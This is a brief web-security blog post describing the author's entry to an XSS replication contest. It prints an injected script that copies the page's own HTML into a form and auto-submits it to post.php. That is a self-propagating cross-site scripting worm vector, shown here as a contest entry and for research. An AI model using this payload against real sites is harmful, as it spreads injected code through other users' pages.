The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    Self replicating source

    By Gareth Heyes (@hackvertor)

    Published 18 years 5 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

    ← Back to articles

    I've been having a lot of fun with the sla.ckers XSS replication contest and I found a cool way to replicate source code of the html document which I haven't seen anywhere before. Check it out:-

    <pre lang="javascript"> alert(document.body.parentNode.innerHTML) </pre>

    This alerts the entire HTML document in Firefox (hopefully IE7 as well). Which is pretty cool :)

    Here is my complete entry which submits the source of itself and posts the content:-

    <pre lang="javascript"> <script>with(d=document)(b=body).innerHTML='<form><textarea name=content> '+b.parentNode.innerHTML.slice(126,-20);with(d.forms[0])submit(action=(method= 'post')+'.php')</script> </pre>

    The slice would have to be adjusted depending on the size of the document and the goal of the contest is to produce the smallest possible replication vector (with a couple of other rules).

    ← Back to articles